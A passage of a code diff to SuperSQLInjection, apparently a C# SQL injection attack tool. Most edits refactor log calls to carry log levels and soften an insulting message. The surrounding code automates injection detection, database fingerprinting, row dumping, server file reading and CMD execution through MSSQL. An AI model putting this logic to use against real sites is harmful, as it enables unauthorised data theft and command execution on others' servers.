+ colvalue); + this.Invoke(new showLogDelegate(log), "获取到第" + (gp.limit + 1) + "行," + columnName + "的值:" + colvalue, LogLevel.info); } this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); - this.Invoke(new StringDelegate(log), "获取到第" + (gp.limit + 1) + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + (gp.limit + 1) + "行的值!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -3545,12 +3559,12 @@ namespace SuperSQLInjection } this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); - this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + gp.limit + "行的值!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -3622,12 +3636,12 @@ namespace SuperSQLInjection } this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); - this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + gp.limit + "行的值!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -3702,12 +3716,12 @@ namespace SuperSQLInjection } this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); - this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + gp.limit + "行的值!",LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -3771,12 +3785,12 @@ namespace SuperSQLInjection } this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); - this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + gp.limit + "行的值!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -3794,14 +3808,14 @@ namespace SuperSQLInjection String datas_value_payload = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, config.unionFill, gp.columns, gp.table, gp.dbname, gp.limit); String result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", datas_value_payload)); - this.Invoke(new StringDelegate(log), "报告大侠,获取到第" + (gp.limit + 1) + "行数据"); + this.Invoke(new showLogDelegate(log), "报告大侠,获取到第" + (gp.limit + 1) + "行数据", LogLevel.info); String[] datas = Regex.Split(result, "\\$\\$\\$"); addItemToListView(datas); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -3819,12 +3833,12 @@ namespace SuperSQLInjection ListViewItem lvi = new ListViewItem(); String result = getOneDataByUnionOrError(MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, gp.dbname, gp.table, gp.columns, gp.limit)); this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumns), result); - this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + gp.limit + "行的值!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -3841,12 +3855,12 @@ namespace SuperSQLInjection ListViewItem lvi = new ListViewItem(); String result = getOneDataByUnionOrError(Access.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, gp.columns, gp.table, gp.limit.ToString()).Replace("{table}", this.curren_table)); this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumns), result); - this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + gp.limit + "行的值!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -3863,12 +3877,12 @@ namespace SuperSQLInjection ListViewItem lvi = new ListViewItem(); String result = getOneDataByUnionOrError(Oracle.getUnionDataValue(config.columnsCount, config.showColumn, gp.columns, gp.dbname, gp.table, gp.limit.ToString())); this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumns), result); - this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + gp.limit + "行的值!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); } @@ -3923,7 +3937,7 @@ namespace SuperSQLInjection int start = 1; //每次获取长度,err方式有长度限制 int count = 64 - 6; - this.Invoke(new StringDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "字符!"); + this.Invoke(new showLogDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "字符!", LogLevel.info); while (start < sumlen) { //hex编码,防止中文等乱码 @@ -3943,12 +3957,12 @@ namespace SuperSQLInjection } this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); - this.Invoke(new StringDelegate(log), "获取到第" + (gp.limit + 1) + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + (gp.limit + 1) + "行的值!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); @@ -3966,12 +3980,12 @@ namespace SuperSQLInjection ListViewItem lvi = new ListViewItem(); String result = getOneDataByUnionOrError(MSSQL.getErrorDataValue(gp.dbname, gp.table, gp.limit, gp.columns)); this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumns), result); - this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + gp.limit + "行的值!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); @@ -3998,10 +4012,10 @@ namespace SuperSQLInjection if (count < 1) { - this.Invoke(new StringDelegate(log), "报告大侠,选择的列太多了,无法获取数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,选择的列太多了,无法获取数据!", LogLevel.info); return; } - this.Invoke(new StringDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "个hex字符!"); + this.Invoke(new showLogDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "个hex字符!",LogLevel.info); while (start < sumlen) { //hex编码,防止中文等乱码 @@ -4014,12 +4028,12 @@ namespace SuperSQLInjection result = Tools.unHex(result, config.db_encoding); this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumns), result); - this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + gp.limit + "行的值!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentDataCount); /* @@ -4046,7 +4060,7 @@ namespace SuperSQLInjection int start = 1; //每次获取长度,err方式有长度限制 int count = 64 - 6; - this.Invoke(new StringDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "字符!"); + this.Invoke(new showLogDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "字符!",LogLevel.info); while (start < sumlen) { //hex编码,防止中文等乱码 @@ -4074,12 +4088,12 @@ namespace SuperSQLInjection } this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); - this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + this.Invoke(new showLogDelegate(log), "获取到第" + gp.limit + "行的值!",LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); }*/ } @@ -4118,7 +4132,7 @@ namespace SuperSQLInjection else { - MessageBox.Show("没有这么多行数据,改小点,2B!"); + MessageBox.Show("没有这么多行数据,请改小点!"); } break; case DBType.MySQL4: @@ -4153,7 +4167,7 @@ namespace SuperSQLInjection else { - MessageBox.Show("没有这么多行数据,改小点,2B!"); + MessageBox.Show("没有这么多行数据,请改小点!"); } break; @@ -4193,7 +4207,7 @@ namespace SuperSQLInjection } else { - MessageBox.Show("没有这么多行数据,改小点,2B!"); + MessageBox.Show("没有这么多行数据,请改小点!"); } break; @@ -4217,7 +4231,7 @@ namespace SuperSQLInjection else { - MessageBox.Show("没有这么多行数据,改小点,2B!"); + MessageBox.Show("没有这么多行数据,请改小点!"); } break; } @@ -4246,13 +4260,13 @@ namespace SuperSQLInjection datas_count_payload = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", datas_count_payload)); - this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!", LogLevel.success); this.dataCount = Tools.convertToInt(result); if (this.dataCount < (dataCount + start)) { - this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.Invoke(new showLogDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!", LogLevel.waring); this.data_dbs_txt_count.Text = this.dataCount.ToString(); break; } @@ -4274,13 +4288,13 @@ namespace SuperSQLInjection result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.data_count.Replace("{dbname}", this.curren_db).Replace("{table}", this.curren_table))); //HTML解码 result = HttpUtility.HtmlDecode(result); - this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!", LogLevel.success); this.dataCount = Tools.convertToInt(result); if (this.dataCount < (dataCount + start)) { - this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.Invoke(new showLogDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!", LogLevel.waring); this.data_dbs_txt_count.Text = this.dataCount.ToString(); break; } @@ -4302,13 +4316,13 @@ namespace SuperSQLInjection case DBType.Oracle: result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.union_data_count, this.curren_db, this.curren_table, "")); - this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!", LogLevel.success); this.dataCount = Tools.convertToInt(result); if (this.dataCount < (dataCount + start)) { - this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.Invoke(new showLogDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!", LogLevel.waring); this.data_dbs_txt_count.Text = this.dataCount.ToString(); break; } @@ -4346,13 +4360,13 @@ namespace SuperSQLInjection datas_count_payload = Access.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, Access.data_count.Replace("{table}", this.curren_table)).Replace("{table}", this.curren_table); result = getOneDataByUnionOrError(datas_count_payload); - this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!", LogLevel.success); this.dataCount = Tools.convertToInt(result); if (this.dataCount < (dataCount + start)) { - this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.Invoke(new showLogDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!", LogLevel.waring); this.data_dbs_txt_count.Text = this.dataCount.ToString(); break; } @@ -4378,12 +4392,12 @@ namespace SuperSQLInjection datas_count_payload = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, config.unionFill, data_list, null, null, -1); result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", datas_count_payload)); - this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!", LogLevel.success); this.dataCount = Tools.convertToInt(result); if (this.dataCount < (dataCount + start)) { - this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.Invoke(new showLogDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!", LogLevel.waring); this.data_dbs_txt_count.Text = this.dataCount.ToString(); break; } @@ -4406,13 +4420,13 @@ namespace SuperSQLInjection datas_count_payload = MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, MSSQL.data_count, this.curren_db, this.curren_table, ""); result = getOneDataByUnionOrError(datas_count_payload); - this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!", LogLevel.success); this.dataCount = Tools.convertToInt(result); if (this.dataCount < (dataCount + start)) { - this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.Invoke(new showLogDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!", LogLevel.waring); this.data_dbs_txt_count.Text = this.dataCount.ToString(); break; } @@ -4434,13 +4448,13 @@ namespace SuperSQLInjection datas_count_payload = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.union_data_count, this.curren_db, this.curren_table, ""); result = getOneDataByUnionOrError(datas_count_payload); - this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!", LogLevel.success); this.dataCount = Tools.convertToInt(result); if (this.dataCount < (dataCount + start)) { - this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.Invoke(new showLogDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!", LogLevel.waring); this.data_dbs_txt_count.Text = this.dataCount.ToString(); break; } @@ -4650,7 +4664,7 @@ namespace SuperSQLInjection //拆分参数 String[] strparams = strparam.Split('&'); - this.Invoke(new StringDelegate(log), "报告大侠,发现" + strparams.Length + "个参数,请稍候正在对每一个参数进行注入测试!"); + this.Invoke(new showLogDelegate(log), "报告大侠,发现" + strparams.Length + "个参数,请稍候正在对每一个参数进行注入测试!", LogLevel.info); foreach (String param in strparams) { @@ -4661,10 +4675,10 @@ namespace SuperSQLInjection } if (param.IndexOf("") != -1) { - this.Invoke(new StringDelegate(log), "跳过Token参数检测!" + param); + this.Invoke(new showLogDelegate(log), "跳过Token参数检测!" + param, LogLevel.info); continue; } - this.Invoke(new StringDelegate(log), "报告大侠,正在对参数参数" + param + "进行盲注测试!"); + this.Invoke(new showLogDelegate(log), "报告大侠,正在对参数参数" + param + "进行盲注测试!", LogLevel.info); String newParam = "";//标记注入 String payload_location = strparam.Replace(param, param + "#inject#"); String payload_request = request.Replace(strparam, payload_location); @@ -4681,7 +4695,7 @@ namespace SuperSQLInjection { foreach (String pal in list) { - this.Invoke(new StringDelegate(log), "正在测试PayLoad:" + pal); + this.Invoke(new showLogDelegate(log), "正在测试PayLoad:" + pal, LogLevel.info); String[] pals = pal.Split(':'); ServerInfo falseServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, pals[1], payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); @@ -4704,7 +4718,7 @@ namespace SuperSQLInjection this.cbox_inject_type.SelectedIndex = Convert.ToInt32(KeyType.Code); this.chk_inject_reverseKey.Checked = false; boolInject = true; - this.Invoke(new StringDelegate(log), "根据状态码判断存在SQL注入!"); + this.Invoke(new showLogDelegate(log), "根据状态码判断存在SQL注入!", LogLevel.success); } if (falseServer.body.Length < trueServer.body.Length) @@ -4715,7 +4729,7 @@ namespace SuperSQLInjection if (ptrue > pfalse) { //根据相似度判断 - this.Invoke(new StringDelegate(log), "根据相似度判断存在SQL注入!固定长度,相似度--false|true1|true2--" + pfalse + "|" + ptrue + "%"); + this.Invoke(new showLogDelegate(log), "根据相似度判断存在SQL注入!固定长度,相似度--false|true1|true2--" + pfalse + "|" + ptrue + "%", LogLevel.success); boolInject = true; //判断关键字 checkTheKey(trueServer, falseServer, oserver); @@ -4730,7 +4744,7 @@ namespace SuperSQLInjection if (ptrue - pfalse >= 2 && Math.Abs(p - pfalse) >= 2) { //根据相似度判断 - this.Invoke(new StringDelegate(log), "根据相似度判断存在SQL注入!动态长度,相似度--false|true1|true2--" + pfalse + "|" + ptrue + "|" + p + "%"); + this.Invoke(new showLogDelegate(log), "根据相似度判断存在SQL注入!动态长度,相似度--false|true1|true2--" + pfalse + "|" + ptrue + "|" + p + "%", LogLevel.success); boolInject = true; //判断关键字 checkTheKey(trueServer, falseServer, oserver); @@ -4742,13 +4756,13 @@ namespace SuperSQLInjection } else { - this.Invoke(new StringDelegate(log), "程序判断不存在SQL注入!"); + this.Invoke(new showLogDelegate(log), "程序判断不存在SQL注入!", LogLevel.info); } if (boolInject) { - this.Invoke(new StringDelegate(log), "存在" + pals[2] + "payload:" + pals[0]); + this.Invoke(new showLogDelegate(log), "存在" + pals[2] + "payload:" + pals[0], LogLevel.success); selectInjectType(1); //识别数据库 List database_lsit = FileTool.readAllDic("config/database/"); @@ -4760,7 +4774,7 @@ namespace SuperSQLInjection break; } String db = d.Replace(".txt", ""); - this.Invoke(new StringDelegate(log), "正在判断是否是" + db + "数据库"); + this.Invoke(new showLogDelegate(log), "正在判断是否是" + db + "数据库", LogLevel.info); List dbpayload_list = FileTool.readFileToList("config/database/" + d); foreach (String cdpay in dbpayload_list) @@ -4768,7 +4782,7 @@ namespace SuperSQLInjection ServerInfo dbServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, pals[0].Replace("1=1", cdpay), payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); if (config.useCode && trueServer.code == dbServer.code) { - this.Invoke(new StringDelegate(log), "程序判断数据库为" + db + "数据库"); + this.Invoke(new showLogDelegate(log), "程序判断数据库为" + db + "数据库", LogLevel.success); currentDB = db; selectDB(currentDB); break; @@ -4778,7 +4792,7 @@ namespace SuperSQLInjection //根据关键字判断 if (dbServer.body.IndexOf(config.key) != -1) { - this.Invoke(new StringDelegate(log), "程序判断数据库为" + db + "数据库"); + this.Invoke(new showLogDelegate(log), "程序判断数据库为" + db + "数据库", LogLevel.success); currentDB = db; selectDB(currentDB); break; @@ -4788,15 +4802,8 @@ namespace SuperSQLInjection } } //用于标记注入的新字符 - newParam = strparam.Replace(param, param + "" + pals[0].Replace(" and 1=1", "#inject#") + ""); - if (pals[0].StartsWith(" ")) - { - unionStartPayLoad = ""; - } - else - { - unionStartPayLoad = pals[0].Split(' ')[0]; - } + newParam = strparam.Replace(param, param + "" + pals[0].Replace(pals[3], "#inject#") + ""); + unionStartPayLoad = pals[0].Substring(0, pals[0].IndexOf(pals[3])); if (!String.IsNullOrEmpty(currentDB)) { @@ -4831,11 +4838,11 @@ namespace SuperSQLInjection if (!String.IsNullOrEmpty(currentDB)) { selectDB(currentDB); - this.Invoke(new StringDelegate(log), "通过错误显示发现数据库为" + currentDB + "!"); + this.Invoke(new showLogDelegate(log), "通过错误显示发现数据库为" + currentDB + "!", LogLevel.success); } else { - this.Invoke(new StringDelegate(log), "没有发现发现数据库类型,可能是其他数据库,请人工判断!"); + this.Invoke(new showLogDelegate(log), "没有发现发现数据库类型,可能是其他数据库,请人工判断!", LogLevel.waring); } } @@ -4845,16 +4852,16 @@ namespace SuperSQLInjection } else { - this.Invoke(new StringDelegate(log), "报告大侠,没有读取到config/injection/injection.txt注入测试payload!"); + this.Invoke(new showLogDelegate(log), "报告大侠,没有读取到config/injection/injection.txt注入测试payload!", LogLevel.error); } //错误注入测试 - this.Invoke(new StringDelegate(log), "报告大侠,盲注测试完成,正在进行错误显示注入测试!"); + this.Invoke(new showLogDelegate(log), "报告大侠,盲注测试完成,正在进行错误显示注入测试!", LogLevel.info); if (currentDB.Equals("Access")) { - this.Invoke(new StringDelegate(log), "报告大侠,Access数据库不支持错误显示注入,已自动跳过!"); + this.Invoke(new showLogDelegate(log), "报告大侠,Access数据库不支持错误显示注入,已自动跳过!", LogLevel.info); } else { @@ -4870,13 +4877,14 @@ namespace SuperSQLInjection if (errorServer.body.IndexOf(pals[1]) != -1) { - this.Invoke(new StringDelegate(log), "发现" + pals[2]); + this.Invoke(new showLogDelegate(log), "发现" + pals[2], LogLevel.success); selectDB(pals[3]); //标记注入 selectInjectType(2); errorInject = true; - newParam = strparam.Replace(param, param + pals[4]); - this.Invoke(new StringDelegate(log), "自动标记错误显示注入完成!"); + newParam = strparam.Replace(param, param + "" + pals[0].Replace(pals[4], "#inject#") + ""); + unionStartPayLoad = pals[0].Substring(0, pals[0].IndexOf(pals[4])).Replace(" or", " and"); + this.Invoke(new showLogDelegate(log), "自动标记错误显示注入完成!", LogLevel.info); break; } @@ -4884,11 +4892,11 @@ namespace SuperSQLInjection } else { - this.Invoke(new StringDelegate(log), "没有读取到错误显示注入测试payload!"); + this.Invoke(new showLogDelegate(log), "没有读取到错误显示注入测试payload!", LogLevel.error); } } - this.Invoke(new StringDelegate(log), "报告大侠,错误显示测试完成,正在进行Union注入测试!"); + this.Invoke(new showLogDelegate(log), "报告大侠,错误显示测试完成,正在进行Union注入测试!", LogLevel.info); //union注入 //最大100列 @@ -4985,7 +4993,7 @@ namespace SuperSQLInjection if (isFind) { - this.Invoke(new StringDelegate(log), "此注入点支持Union注入,自动选择注入方式完成!"); + this.Invoke(new showLogDelegate(log), "此注入点支持Union注入,自动选择注入方式完成!", LogLevel.success); } if (boolInject || errorInject || unionInject) { @@ -5001,9 +5009,9 @@ namespace SuperSQLInjection { Tools.SysLog("识别注入发生异常!" + e.Message); - this.Invoke(new StringDelegate(log), "识别注入发生异常!" + e.Message); + this.Invoke(new showLogDelegate(log), "识别注入发生异常!" + e.Message,LogLevel.error); } - this.Invoke(new StringDelegate(log), "注入测试完成!"); + this.Invoke(new showLogDelegate(log), "注入测试完成!", LogLevel.info); this.btn_autoInject.Text = "自动识别"; autoinject = 0; } @@ -5039,7 +5047,7 @@ namespace SuperSQLInjection this.cbox_basic_dbType.SelectedIndex = 4; } - this.Invoke(new StringDelegate(log), "自动选择数据库类型完成!"); + this.Invoke(new showLogDelegate(log), "自动选择数据库类型完成!", LogLevel.info); } private void data_dbs_tsl_getDatas_Click(object sender, EventArgs e) @@ -5758,7 +5766,7 @@ namespace SuperSQLInjection { if (String.IsNullOrEmpty(config.key)) { - MessageBox.Show("大侠,请在注入中心,配置Bool盲注的关键字!"); + MessageBox.Show("大侠,请在注入中心,配置Bool盲注的判断值!"); return; } String payload_len = MySQL5.ver_length.Replace("{data}", data_payload); @@ -5778,12 +5786,12 @@ namespace SuperSQLInjection value = Tools.unHex(Tools.convertToString(ver_tmp), config.readFileEncoding); } this.Invoke(new StringDelegate(file_txt_resultSetText), value); - this.Invoke(new StringDelegate(log), this.file_cbox_readWrite.Text + "完成!"); + this.Invoke(new showLogDelegate(log), this.file_cbox_readWrite.Text + "完成!", LogLevel.success); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } break; case InjectType.Union: @@ -5799,11 +5807,11 @@ namespace SuperSQLInjection this.dataCount = result.Length; this.currentDataCount = result.Length; this.Invoke(new StringDelegate(file_txt_resultSetText), result); - this.Invoke(new StringDelegate(log), "报告大侠,获取到文件数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,获取到文件数据!", LogLevel.success); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } break; case InjectType.Error: @@ -5822,7 +5830,7 @@ namespace SuperSQLInjection int start = 1; //每次获取长度,err方式有长度限制 int count = 64 - 6; - this.Invoke(new StringDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "字符!"); + this.Invoke(new showLogDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "字符!", LogLevel.info); while (start < sumlen) { //hex编码,防止中文等乱码 @@ -5841,12 +5849,12 @@ namespace SuperSQLInjection result = m.Value; } this.Invoke(new StringDelegate(file_txt_resultSetText), result); - this.Invoke(new StringDelegate(log), "获取文件内容!"); + this.Invoke(new showLogDelegate(log), "获取文件内容!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } break; @@ -5910,7 +5918,7 @@ namespace SuperSQLInjection int len = getValue(payload_len, 0, 1024 * 100); ver_tmp = new String[len]; this.dataCount = len; - this.Invoke(new StringDelegate(log), "SQLServer读到文件内容,长度为" + len + "字节!"); + this.Invoke(new showLogDelegate(log), "SQLServer读到文件内容,长度为" + len + "字节!", LogLevel.info); //获取值 for (int i = 1; i <= len; i++) { @@ -5924,13 +5932,13 @@ namespace SuperSQLInjection String unionresult = getOneDataByUnionOrError(MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, MSSQL.file_content)); this.Invoke(new StringDelegate(file_txt_resultSetText), unionresult); - this.Invoke(new StringDelegate(log), "获取到SQLServer读取的文件内容,长度为" + unionresult.Length + "字节!"); + this.Invoke(new showLogDelegate(log), "获取到SQLServer读取的文件内容,长度为" + unionresult.Length + "字节!", LogLevel.info); break; case InjectType.Error: String errorresult = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.file_content)); this.Invoke(new StringDelegate(file_txt_resultSetText), errorresult); - this.Invoke(new StringDelegate(log), "获取到SQLServer读取的文件内容,长度为" + errorresult.Length + "字节!"); + this.Invoke(new showLogDelegate(log), "获取到SQLServer读取的文件内容,长度为" + errorresult.Length + "字节!", LogLevel.info); break; } } @@ -6019,7 +6027,7 @@ namespace SuperSQLInjection int unicode = Tools.convertToInt(temUnicode); ver_tmp[index - 1] = Tools.unHexByUnicode(unicode, "UTF-8"); - this.Invoke(new StringDelegate(log), "获取到CMD执行结果--" + ver_tmp[index - 1]); + this.Invoke(new showLogDelegate(log), "获取到CMD执行结果--" + ver_tmp[index - 1], LogLevel.info); Interlocked.Increment(ref this.currentDataCount); } @@ -6048,7 +6056,7 @@ namespace SuperSQLInjection //String cmdrequest = Regex.Replace(config.request, "\\(.*?)\\<\\/Encode\\>", "#inject#"); HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, cmd_data_payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); - this.Invoke(new StringDelegate(log), "报告大侠,CMD命令执行完成,正在等待获取执行结果!"); + this.Invoke(new showLogDelegate(log), "报告大侠,CMD命令执行完成,正在等待获取执行结果!", LogLevel.info); if (config.showCmdResult) { switch (config.injectType) @@ -6060,7 +6068,7 @@ namespace SuperSQLInjection if (String.IsNullOrEmpty(config.key)) { - MessageBox.Show("大侠,请在注入中心,配置Bool盲注的关键字!"); + MessageBox.Show("大侠,请在注入中心,配置Bool盲注的判断值!"); return; } String count_payload = MSSQL.bool_value.Replace("{data}", MSSQL.cmdDataCount); @@ 